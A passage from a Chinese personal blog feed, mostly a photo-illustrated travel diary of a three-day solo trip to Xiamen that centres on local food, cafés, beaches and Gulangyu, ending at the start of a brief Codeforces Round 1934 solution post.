&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240404_020709471.RAW-01.COVER_-1-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;姜母鸭&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;味道其实出乎我意料的好吃。我做好了被姜味冲鼻的准备，一口吃下去才发现全然后完全没有冲味，但是却有很浓的姜香。&lt;/p&gt;
&lt;p&gt;吃完姜母鸭，收拾好残局。便开始前往去吃沙茶面。我选择的店是四里沙茶面。距离中山公园步行也只要 15min 左右。既然如此，不放多走动走动。&lt;/p&gt;
&lt;p&gt;在路边找了个地图，目测规划了一条感觉不错的路径。走下来才发现自己深入居民区，不过却也是一个相当有趣的体验。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240404_024205691.RAW-01.MP_.COVER_-1-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;路上看到的一家很有趣的咖啡店&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;沙茶面馆人略显稠密，没有完整的空桌子便选择和一对夫妇拼桌吃饭。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240404_025713598.RAW-01.COVER_-1-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;沙茶面和盐水鸭&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;这对夫妇带了一条狗一同旅游，把我吓得不轻。聊起来知道他们来自江西，也是趁清明假期出来游玩。在互相欢迎来对方城市旅游后，他们给我留了一打餐巾纸。万分感谢！这下赣州和南昌也在旅游候选了呢。&lt;/p&gt;
&lt;p&gt;沙茶面的精髓或许不仅仅在面，更在汤汁。面和汤一同进入嘴中，味道非常鲜美。&lt;/p&gt;
&lt;p&gt;吃完沙茶面，想起刚刚走来的路上有一辆前往厦大的公交车。便产生了去厦大附近沙滩一逛的想法。&lt;/p&gt;
&lt;p&gt;乘上公交汽车，不一会儿时间便到达了沙滩。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240404_034633012.RAW-01.COVER_-1-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;其实在路上就可以看到海了&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240404_035203549.PANO_-1-1024x434.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;海！&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;走在海边，任由海水冲刷自己的脚和小腿，时间便过得飞快。一时想到，文学作品里总会称自己是「海的女儿」「大山的孩子」，那在离海如此远地方长大的我算是什么呢。意识到自己在想一些没有意义的东西，便接着望向了无限的大海上。&lt;/p&gt;
&lt;p&gt;等我因寒冷从看海的状态中跳出来，才发现自己已经灌了一脚的沙子。清洗了许久也没有处理干净，便随他去了。&lt;/p&gt;
&lt;p&gt;一时没有想起来自己有什么厦大的同学，但是既然来了厦大，就打算去厦大门口的猫街看看。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240404_052743008.RAW-01.COVER_-1-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;猫街！&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;猫街的风格真的非常讨人喜爱。在如此陡峭的斜坡上，却有着无比浓厚的烟火气息。&lt;/p&gt;
&lt;p&gt;找到了猫街饭团！整了一份，就着米浆吃了下去。这家饭团应该是我吃过的里面最好吃的一档了，强烈安利。&lt;/p&gt;
&lt;p&gt;去完猫街，就想着找点小清新的店。如果你看过某主播的厦门吃的地方推荐的话，那么你应该记得有家店叫 4people。我在简单查阅之后发现，其实这家店改名了。&lt;/p&gt;
&lt;p&gt;当然店还是在的，乘坐公交汽车前往沙坡尾，随便走几步就能找到这家店。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240404_071705987.RAW-01.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;咖啡和小蛋糕！&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240404_072630814.RAW-01.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;芒果绵绵冰&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240404_072247026.RAW-01.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;在这家店阳台上的沙坡尾&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;坐在阳台上看着沙坡尾喝咖啡是一件非常美好的事情。可惜天公不作美，我就只能在屋子里享受雨天了。&lt;/p&gt;
&lt;p&gt;坐着坐着同桌来了四个看起来非常现充的人。听了一听像是在医院工作的，同时还在做 up 主的样子。听着实在是觉得过载，便放弃偷听，专心享受美食。&lt;/p&gt;
&lt;p&gt;美式咖啡和蛋糕没有什么好说的。但是绵绵冰出户意料的好吃，口感非常好，值得一试。&lt;/p&gt;
&lt;p&gt;享受完雨天，时间也来到了晚上。我便回到酒店睡觉。&lt;/p&gt;
&lt;h2&gt;Day 2&lt;/h2&gt;
&lt;p&gt;掐指一算，感觉厦门大多数景点都去了。植物园实在是没有兴趣，便决定前往南普陀寺。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240405_024459580.RAW-01.COVER_-1-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;南普陀寺旁边就是厦大，可以搞一点行为艺术。&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;南普陀寺会有免费的香，我也迷信了一翻。还把钱包里的零钱都当香火钱扔进去了，希望佛不要计较我只给零钱。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240405_030114233.RAW-01.MP_.COVER_-1-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;这里竟然也能拍到双子塔&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;没吃早饭，自然就会想整点 brunch。于是便来到 cho&apos;s cafe&amp;amp;bar。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240405_041440184.RAW-01.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;松饼&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240405_042415112.RAW-01.COVER_-1-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;班尼迪克蛋&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;这家店的好吃是全方位的。非常舒适的环境和美味的食物令人心情愉悦。当然，得不看价钱。&lt;/p&gt;
&lt;p&gt;这家店的价钱对我来说实在是不便宜。不过能够有如此美好的体验，倒也算是不愧。&lt;/p&gt;
&lt;p&gt;不过听隔壁桌的聊天，似乎这个价钱对他们来说很便宜……又一次感受到了世界的参差呢。&lt;/p&gt;
&lt;p&gt;吃完 brunch，就该吃 lunch 了。&lt;/p&gt;
&lt;p&gt;本来想在中华城吃宴遇 1/2 的。不过上去发现店噶了...&lt;/p&gt;
&lt;p&gt;于是就来到印象城。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240405_054535411.RAW-01.COVER_-1-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;十点书店&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;印象城这里有一家装修精良的书店，颇有格调，让我这种没文化的人感到格格不入。&lt;/p&gt;
&lt;p&gt;宴遇 1/2 这家店价格就比上家还昂贵了。不过好在提前划给食物上的预算额度不低（恩格尔系数上升了！），也算承受的住。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240405_060730895.RAW-01.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;土笋冻&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240405_060911638.RAW-01.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;闽式捞汁油蛤&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240405_061042444.RAW-01.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;福建五香卷&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240405_062722127.RAW-01.COVER_-1-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;石盘烤爽肉&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240405_062949731.RAW-01.COVER_-2-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;葱油肉汁焗荔浦芋头&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240405_065428362.RAW-01.COVER_-1-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;大红袍鲜奶布丁&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;菜品口味当然对的起价格。土笋冻哪是一个好吃了得，芋头相当入味，口感丰富。&lt;/p&gt;
&lt;p&gt;这个布丁就更是一绝了，甜而不腻还有浓厚的茶香，以至于我现在写博客想到都流口水。&lt;/p&gt;
&lt;p&gt;享受完一顿如此美味的午饭，那是时候再找点小清新的店了。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240405_080454748.RAW-01.MP_.COVER_-1-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;野台风&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240405_080225839.RAW-01.COVER_-1-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;这咖啡名字叫「日出」&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;忙着赶轮渡，便没有时间慢慢喝咖啡。但是咖啡的味道让我非常难以忘怀。凤梨味和咖啡味竟能够如此和谐的融为一体。&lt;/p&gt;
&lt;p&gt;那么接下来就该上岛了呢！&lt;/p&gt;
&lt;p&gt;上岛过后休息到了晚上，随手撑了把伞，开始「夜游鼓浪屿」&lt;/p&gt;
&lt;p&gt;（这绝对是非标准且不推荐的玩法！）&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240405_142213624.RAW-01.COVER_-1-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;从鼓浪屿望鹭岛&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;交由直觉寻路，约半小时后就能看到岸边和鹭岛。虽然要论夜景，这实在算不上最好的选项。但是在岛上看的感觉和在江的一边看另一边的感觉是完全不同的。值得一试。&lt;/p&gt;
&lt;p&gt;绕岛行走，你会发现日光岩会关门，但是月光岩不会。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240405_145751183.RAW-01.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;在月光岩上望码头&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;在月光岩上眺望鼓浪屿，感觉分外奇特。一个这么小的岛，竟然能够有如此多的建筑，如此丰富的景观。&lt;/p&gt;
&lt;p&gt;在走完大半管鼓浪屿后，便回酒店睡觉了。&lt;/p&gt;
&lt;h2&gt;Day 3&lt;/h2&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240406_011413163.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;再望港口&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;一早醒来后便再去赶轮渡回鹭岛。&lt;/p&gt;
&lt;p&gt;首先来到的是八市 -- 厦门第八市场。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240406_015013150.RAW-01.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;肉粽&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240406_015850989.RAW-01.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;海鲜！&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240406_021223117.RAW-01.COVER_-1-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;香煎糕&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;这里多是小吃。其中香煎糕最出户我的意料，口感软糯，甜度适中。相比之下香芋鸭感觉纯是来坑游客的 -- 真不好吃。&lt;/p&gt;
&lt;p&gt;逛完八市便来到另一家小清新店 -- 「野草莓自由市场」&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240406_031312524.RAW-01.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;冰沙&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240406_032430882.RAW-01.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;招牌汉堡&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240406_032855822.RAW-01.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;海盐牛排&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240406_034156653.RAW-01.COVER_-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;抹茶冰激凌&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;我在写这篇博客的时候才发现我点单的时候一个推荐都没有踩到……&lt;/p&gt;
&lt;p&gt;不过整体还是很不错的，味道中上，汉堡的味道非常好。环境给人一种放松的感觉，坐在高椅子上享受慢慢的吃着东西，然后看看代码课件，也是一种美好的体验。&lt;/p&gt;
&lt;p&gt;吃完之后越发回想起来昨天喝的野台风，决定再去一趟。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240406_044036553.RAW-01.COVER_-1-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;这次点的是「天气预报」&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;野台风提供了两个在屋外的躺椅，可以一边喝咖啡，一边看街头人来人往 -- 非常有氛围！&lt;/p&gt;
&lt;p&gt;而我选择了在这个美好的氛围下写高代作业，这就是另一回事情了。&lt;/p&gt;
&lt;p&gt;在糊完高代作业后，我决定完成在厦门的最后一顿 -- 叉烧饭。&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240406_061235949.RAW-01.MP_.COVER_-1024x771.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;鼓油鸡&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240406_061334707.RAW-01.COVER_-1-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;叉烧饭&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;p&gt;新鲜出炉的叉烧的香是无法解释的。肉香浓郁，让人感觉能吃下好几碗米饭。&lt;/p&gt;
&lt;p&gt;不过这家店的甜点感觉差强人意，成为让我浪费粮食 -- 实在难以下咽。&lt;/p&gt;
&lt;p&gt;由于火车票的候补迟而未决，便决定早早前往火车站。于是我的厦门之旅也就告一段落了。&lt;/p&gt;
&lt;p&gt;Goodbye，厦门！&lt;/p&gt;
&lt;p&gt;&amp;lt;figure&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2024/04/PXL_20240406_150348341.RAW-01.COVER_-1-771x1024.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;既然旅游从文泽路地铁站开始，就从文泽路地铁站结束吧。&lt;/p&gt;
&lt;p&gt;&amp;lt;/figcaption&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/figure&amp;gt;&lt;/p&gt;
&lt;h2&gt;尾声&lt;/h2&gt;
&lt;p&gt;其实本篇文章本想在回来后第一天就写掉。但是旅游实在是太消耗人了 -- 以至于我连订好的电影票都能睡过。&lt;/p&gt;
&lt;p&gt;现在回过头来再看「一道厦门」，发现 PV 中的大多数角落我也都用自己眼睛看过了。感觉很是开心。&lt;/p&gt;
&lt;p&gt;在这趟旅游前，其实我对厦门的印象，只有两个，一个是等额选举竟然还能……额咳咳咳咳咳咳，这个是不能碰的话题。另一个就是上面这个单曲了。&lt;/p&gt;
&lt;p&gt;这趟旅行圆了孩子的看海梦，孩子很开心。而且同时，厦门这个城市也让我感觉分外舒适。在街头巷尾，总有那么几家让你觉得很有意思的店。&lt;/p&gt;
&lt;p&gt;独自一人旅游就好像孤独的美食家，不受限制，自由规划，随心而动。不过每当看到隔壁桌的小情侣的时候，还是不由得一笑，然后感觉略显孤独。&lt;/p&gt;
&lt;p&gt;这种「说走就走」的旅行，虽然略显混乱，但是正是因为没有任何准备，反而遇到的每一个小细节都令人开心。&lt;/p&gt;
&lt;p&gt;那么，下一次可以去哪呢？&lt;/p&gt;
</content:encoded><category>share</category><author>woshiluo</author></item><item><title>Codeforces Round 1934 解题报告</title><link>https://blog.woshiluo.com/posts/2024/03/codeforces-round-1934/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2024/03/codeforces-round-1934/</guid><pubDate>Sun, 03 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;A Too Min Too Max&lt;/h2&gt;
&lt;p&gt;排序，选前 2 后 2。&lt;/p&gt;
&lt;h2&gt;B Yet Another Coin Problem&lt;/h2&gt;
&lt;p&gt;整出 LCM。&lt;/p&gt;
